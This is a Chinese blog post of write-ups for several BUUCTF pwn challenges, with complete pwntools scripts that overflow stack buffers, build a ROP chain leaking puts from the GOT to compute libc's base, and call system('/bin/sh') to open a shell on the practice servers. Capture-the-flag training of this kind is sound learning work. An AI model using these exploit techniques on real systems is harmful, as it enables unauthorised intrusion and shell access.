• BUUCTF PWN部分题目wp


    pwn好难啊

    PWN

    1,连上就有flag的pwn
    nc buuoj.cn 6000得到flag

    2,RIP覆盖一下
    用ida分析一下,
    在这里插入图片描述
    发现已有了system,只需覆盖RIP为fun()的地址,用peda计算偏移为23,写脚本

     
    from pwn import*
    sh=remote('f.buuoj.cn',6001)
    payload='a'*23+p64(0x401186)
    sh.sendline(payload)
    sh.interactive()

    得到flag

    3,warmup_csaw_2016

    先拖进ida

    找到了system地址

    下载libc.so

    用peda

    找到ebp位置,需覆盖64+8字节,写脚本

    from pwn import*
    #sh=process('/home/harmonica/Desktop/warmup_csaw_2016.dms' )
    sh=remote('pwn.buuoj.cn',20035)
    payload='a'*72+p64(0x40060D)
    sh.sendline(payload)
    sh.interactive()

    得到flag

     4,ciscn_2019_c_1

    栈溢出,查看保护

    经过分析,需覆盖0x58字节,本来这题想不用给的libc,但用LibcSearcher找不到这个libc,还是去下了一份

    查到/bin/sh位置

    写脚本

    from pwn import *
    from LibcSearcher import LibcSearcher
    
    sh=remote('pwn.buuoj.cn',20115)
    #sh=process('/home/harmonica/Desktop/ciscn_2019_c_1.dms')
    ciscn=ELF('/home/harmonica/Desktop/ciscn_2019_c_1.dms')
    libc=ELF('/home/harmonica/Desktop/x64_libc.so.6')
    
    def send(content):
        sh.recvuntil('Input your choice!
    ')
        sh.sendline('1')
        sh.recvuntil('Input your Plaintext to be encrypted
    ')
        sh.sendline(content)
    
    puts_plt=ciscn.plt['puts']
    puts_got=ciscn.got['puts']
    main=ciscn.symbols['main']
    pop_rdi=0x400c83
    
    
    payload ='A' * 0x58+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
    send(payload)
    
    sh.recvuntil('@
    ')
    puts_addr=u64(sh.recv(6).ljust(8,'x00'))
    #libc=LibcSearcher('puts', puts_addr)
    libcbase=puts_addr-libc.sym['puts']
    log.success("libcbase: "+hex(libcbase))
    
    system_addr=libcbase+libc.sym['system']
    binsh_addr=libcbase+0x18cd57
    
    payload ='A'*0x58+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
    send(payload)
    
    sh.interactive()

    得到flag

    5, pwn1_sctf_2016

    拖进ida,c++程序,找到主函数

     程序中带了system

    运行程序

    当输入'I'时会转换为‘you’

    fgets溢出,写exp

    from pwn import *
    
    sh=remote('pwn.buuoj.cn',20086)
    get_flag=0x08048F0D
    
    payload='I'*0x14+'a'*4+p32(get_flag)
    sh.sendline(payload)
    
    sh.interactive()
    

     得到flag

  • 相关阅读:
    jqueryUI弹出框问题
    spring data jpa分页
    解决eclipse编辑js和html卡的问题
    web.xml添加编码过滤器
    Apache SolrCloud安装
    搭建zookeeper集群
    html页面读取PDF小案例
    .NET 使用Process调用7_zip解压文件
    .NET 中三种正确的单例写法
    Git 笔记
  • 原文地址:https://www.cnblogs.com/harmonica11/p/11365702.html
Copyright © 2020-2023  润新知